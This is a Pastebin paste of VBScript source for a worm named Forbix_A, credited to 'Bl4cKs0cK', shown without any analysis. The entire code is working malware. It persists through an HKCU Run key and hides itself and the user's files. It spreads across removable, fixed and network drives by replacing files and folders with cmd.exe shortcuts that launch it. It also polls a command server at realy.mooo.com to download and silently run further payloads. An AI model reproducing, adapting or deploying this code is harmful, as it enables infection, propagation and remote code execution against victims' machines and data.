Guest User

Forbix_A worm

a guest
Feb 10th, 2018
184
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. '<coded by Bl4cKs0cK>'
  2. On Error Resume Next
  3. Dim host
  4. host = "realy.mooo.com"
  5. Dim host_script
  6. host_script = "bot/lancer/index.php"
  7. Dim activ_name
  8. activ_name = "SysinfYhX.db"
  9. Dim passiv_name
  10. passiv_name = "Manuel.doc"
  11. Dim sleep_tim
  12. sleep_time = 2000
  13. Dim http
  14. Set http = CreateObject("MSXML2.ServerXMLHTTP")
  15. Dim sh
  16. Set sh = WScript.CreateObject("WScript.Shell")
  17. Dim fs
  18. Set fs= CreateObject("Scripting.FileSystemObject")
  19. Const adTypeBinary = 1
  20. Const adTypeText = 2
  21. Const adSaveCreateOverWrite = 2
  22. Const adSaveCreateNotExist = 1
  23. Dim stream_self
  24. Set stream_self = CreateObject("Adodb.Stream")
  25. Dim script_name
  26. script_name = Wscript.ScriptName
  27. Dim tmp_dir
  28. tmp_dir = sh.ExpandEnvironmentStrings("%temp%") & "\"
  29. host = "http://" & host & "/"
  30. stream_self.Type = adTypeBinary
  31. stream_self.Open
  32. stream_self.LoadFromFile fs.GetFile(Wscript.ScriptFullName)
  33. Dim script_size
  34. script_size = stream_self.Size
  35. If (script_name = activ_name) Then 
  36.     Dim serv_rep
  37.     While True
  38.         infect_drives
  39.         infect_registre
  40.         serv_rep = serv_cmd(version)
  41.         If serv_rep <> "-1" Then
  42.             If serv_rep <> "0" Then
  43.                 msgbox("nw version valable")
  44.                 get_new_v(serv_rep)
  45.             Else
  46.                 serv_rep = serv_cmd("list")
  47.                 If serv_rep <> "-1" Then
  48. x                   get_list(serv_rep)
  49.                 End If
  50.             End If
  51.            
  52.         End If
  53.         protect_del
  54.         wscript.sleep sleep_time
  55.     Wend
  56. Else
  57.     infect_machin
  58. End if
  59. Function serv_cmd(cmd)
  60.  On Error Resume Next
  61.     Dim stat
  62.     http.Open "GET", host & host_script & "?cmd=" & cmd , False
  63.     http.Send
  64.     stat = http.Status
  65.     If stat <> 200 Then
  66.         serv_cmd = "-1"
  67.     ELse
  68.         serv_cmd=http.ResponseText
  69.     End If
  70. End Function
  71. Function bot_up(arr)
  72.  On Error Resume Next
  73.     Dim stat, frm_, to_, lnc_
  74.     frm_ = arr(1)
  75.     size_ = arr(2)
  76.     to_ = arr(3)
  77.     lnc_ = arr(4)
  78.     Dim stream
  79.     Set stream = CreateObject("Adodb.Stream")
  80.     stream.Type = adTypeBinary
  81.     stream.Open
  82.     If fs.FileExists (tmp_dir & to_) Then
  83.         If fs.GetFile(tmp_dir & to_).Size <> size_ Then
  84.             fs.GetFile(tmp_dir & to_).Attributes=2
  85.             fs.DeleteFile tmp_dir & to_, True
  86.             http.Open "GET", frm_, False
  87.             http.Send
  88.             If http.Status <> 200 Then
  89.                 bot_up = False
  90.             Else
  91.                 stream.Write http.ResponseBody
  92.                 stream.SaveToFile tmp_dir & to_, adSaveCreateOverWrite
  93.                 fs.GetFile(tmp_dir & to_).Attributes=1+2+4
  94.                 bot_up = True
  95.             End If
  96.         Else
  97.             bot_up = False
  98.         End If
  99.     Else
  100.         http.Open "GET", frm_, False
  101.         http.Send
  102.         If http.Status <> 200 Then
  103.             bot_up = False
  104.         Else
  105.             stream.Write http.ResponseBody 
  106.             stream.SaveToFile tmp_dir & to_, adSaveCreateOverWrite
  107.             fs.GetFile(tmp_dir & to_).Attributes=1+2+4
  108.             bot_up = True
  109.         End If
  110.     End If
  111.     stream.Close
  112.     If bot_up Then
  113.         sh.Run "cmd /c start " & lnc_ & " %temp%\" & to_, 0                
  114.     End If
  115. End Function
  116. Function get_split(in_)
  117.  On Error Resume Next
  118.     Dim ret
  119.     ret = Array(True, "", 0, "", "")
  120.     ret(1) = Split(Split(in_, "<from>")(1), "<br>")(0)
  121.     ret(2) = CInt(Split(Split(in_, "<size>")(1), "<br>")(0))
  122.     ret(3) = Split(Split(in_, "<to>")(1), "<br>")(0)
  123.     ret(4) = Split(Split(in_, "<lancer>")(1), "<br>")(0)
  124.     For Each a In ret
  125.         If a = "" Or a = " " Then
  126.             ret(0) = False
  127.             Exit For
  128.         End If
  129.     Next
  130.     get_split = ret
  131. End Function
  132. Function get_new_v(req)
  133.  On Error Resume Next
  134.     Dim data_
  135.     data_ = get_split(req)
  136.     If data_(0) Then
  137.         If bot_up(data_) Then
  138.             If data_(3) <> script_name Then
  139.                 del_registre
  140.                 fs.GetFile(Wscript.ScriptFullName).Attributes=2
  141.                 fs.DeleteFile Wscript.ScriptFullName, True
  142.             End If
  143.             wscript.quit
  144.         End If
  145.     End If
  146. End Function
  147. Function get_list(req)
  148.  On Error Resume Next
  149.     If req <> "0" Then
  150.         Dim tbl
  151.         tbl = Split(req, "<list>")
  152.         For Each case_ In tbl
  153.             Dim data_
  154.             data_ = get_split(case_)
  155.             If data_(0) Then
  156.                 bot_up(data_)
  157.             End If
  158.         Next
  159.         get_list = True
  160.     Else
  161.         get_list = False
  162.     End If
  163. End Function
  164. Function infect_machin
  165.  On Error Resume Next
  166.     infect_registre
  167.     If fs.FileExistes (tmp_dir & activ_name) Then
  168.         If fs.GetFile(tmp_dir & activ_name).Size <> script_size Then
  169.             fs.GetFile(tmp_dir & activ_name).Attributes=2
  170.             fs.DeleteFile tmp_dir & activ_name, True
  171.             stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateOverWrite
  172.             fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
  173.             infect_machin = True
  174.         Else
  175.             infect_machin = False
  176.         End If
  177.     Else
  178.         stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateNotExist
  179.         fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
  180.         infect_machin = True
  181.     End If
  182.     If infect_machin Then
  183.         sh.Run "cmd /c start wscript /e:VBScript.Encode " & Replace(tmp_dir & activ_name," ", ChrW(34) & " " & ChrW(34)), 0
  184.     End If
  185.     wscript.quit
  186. End Function
  187.  Sub infect_drives
  188.   On Error Resume Next
  189.     Dim sys_drive
  190.     sys_drive = sh.ExpandEnvironmentStrings("%SYSTEMDRIVE%")
  191.     For Each cle In fs.Drives
  192.         If cle.isReady And (cle.DriveType = 1 Or cle.DriveType = 3 Or cle.DriveType = 4) Then
  193.             Dim d
  194.             d = cle.path
  195.             If d <> sys_drive Then
  196.                 If fs.FileExists(d & "\" & passiv_name) Then
  197.                     If fs.GetFile(d & "\" & passiv_name).Size <> script_size Then
  198.                         fs.GetFile(d & "\" & passiv_name).Attributes=2
  199.                         fs.DeleteFile d & "\" & passiv_name, True
  200.                         stream_self.SaveToFile d & "\" & passiv_name, adSaveCreateOverWrite
  201.                         fs.GetFile(d & "\" & passiv_name).Attributes=1+2+4
  202.                     End If
  203.                 Else
  204.                     If cle.FreeSpace > script_size Then
  205.                         stream_self.SaveToFile d & "\" & passiv_name, adSaveCreateNotExist
  206.                         fs.GetFile(d & "\" & passiv_name).Attributes=1+2+4
  207.                     End If
  208.                 End If
  209.                 If cle.FreeSpace > 0 Then
  210.                     For Each f In fs.GetFolder(d & "\").Files
  211.                         Dim f_ext
  212.                         If instr(f.name, ".") Then
  213.                             Dim f_name
  214.                             f_name = split(f.name, ".")
  215.                             f_ext = lcase( f_name(ubound(f_name)) )
  216.                         Else
  217.                             f_ext = "NULL"
  218.                         End if
  219.                    
  220.                         If f_ext <> "lnk" And f.name <> passiv_name Then
  221.                             f.Attributes = 2+4
  222.                             If fs.FileExists(d & "\" & f.name & ".lnk") Then
  223.                                 fs.GetFile(d & "\" & f.name & ".lnk").Attributes = 0
  224.                             End If
  225.                             Dim shurt, s_icon
  226.                             Set shurt = sh.CreateShortcut(d & "\" & f.name & ".lnk")
  227.                             shurt.WindowStyle = 7
  228.                             shurt.TargetPath = "cmd.exe"
  229.                             shurt.WorkingDirectory = ""
  230.                             Dim f_arg
  231.                             f_arg = "/c start wscript /e:VBScript.Encode " & Replace(passiv_name," ", ChrW(34) & " " & ChrW(34)) & " & start " & replace( f.name," ", ChrW(34) & " " & ChrW(34))
  232.                             shurt.Arguments = f_arg & " & exit"
  233.                             s_icon = sh.regread("HKLM\SOFTWARE\Classes\" & sh.regread("HKLM\SOFTWARE\Classes\." & f_ext & "\") & "\DefaultIcon\")
  234.                             If ( instr(s_icon, ",") = 0 ) Or f_ext = "NULL" Then
  235.                                 shurt.IconLocation = f.path
  236.                             Else
  237.                                 shurt.IconLocation = s_icon
  238.                             End if
  239.                             shurt.Save()
  240.                             fs.GetFile(d & "\" & f.name & ".lnk").Attributes = 1
  241.                         End if
  242.                     Next
  243.                     For Each ff In fs.GetFolder(d & "\").SubFolders
  244.                         ff.Attributes = 2+4
  245.                         If fs.FileExists(d & "\" & ff.name & ".lnk") Then
  246.                             fs.GetFile(d & "\" & ff.name & ".lnk").Attributes = 0
  247.                         End If
  248.                         Dim shurt_, s_icon_
  249.                         Set shurt_ = sh.CreateShortcut(d & "\" & ff.name & ".lnk")
  250.                         shurt_.WindowStyle = 7
  251.                         shurt_.TargetPath = "cmd.exe"
  252.                         shurt_.WorkingDirectory = ""
  253.                         Dim ff_arg
  254.                         ff_arg = "/c start wscript /e:VBScript.Encode " & Replace(passiv_name," ", ChrW(34) & " " & ChrW(34)) & " & start explorer " & replace( ff.name," ", ChrW(34) & " " & ChrW(34))
  255.                         shurt_.Arguments = ff_arg & " & exit"
  256.                         s_icon_ = sh.regread("HKLM\SOFTWARE\Classes\Folder\DefaultIcon\")
  257.                         If instr(s_icon_, ",") = 0 Then
  258.                             shurt_.IconLocation = ff.path
  259.                         Else
  260.                             shurt_.IconLocation = s_icon_
  261.                         End if
  262.                         shurt_.save()
  263.                         fs.GetFile(d & "\" & ff.name & ".lnk").Attributes = 1
  264.                     Next
  265.                 End If
  266.             End If
  267.         End If
  268.     Next
  269. End Sub
  270. Sub infect_registre
  271.  On Error Resume Next
  272.     Dim target, reg_d
  273.     target = "C:\WINDOWS\system32\cmd.exe /c start wscript  /e:VBScript.Encode %temp%\" & activ_name
  274.     reg_d = "\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(activ_name, ".")(0)
  275.     sh.regwrite "HKCU" & reg_d, target, "REG_SZ"
  276.     reg_d = "\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden"
  277.     sh.regwrite "HKCU" & reg_d, 2, "REG_DWORD"
  278. End Sub
  279. Sub del_registre
  280.  On Error Resume Next
  281.     Dim reg_d
  282.     reg_d = "\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(activ_name, ".")(0)
  283.     sh.RegDelete "HKCU\" & reg_d
  284. End Sub
  285. Function protect_del
  286.  On Error Resume Next
  287.     If fs.FileExistes (tmp_dir & activ_name) Then
  288.         If fs.GetFile(tmp_dir & activ_name).Size <> script_size Then
  289.             fs.GetFile(tmp_dir & activ_name).Attributes=2
  290.             stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateOverWrite
  291.             fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
  292.         End If
  293.     Else
  294.         stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateNotExist
  295.         fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
  296.     End If
  297. End Function
Add Comment
Please, Sign In to add comment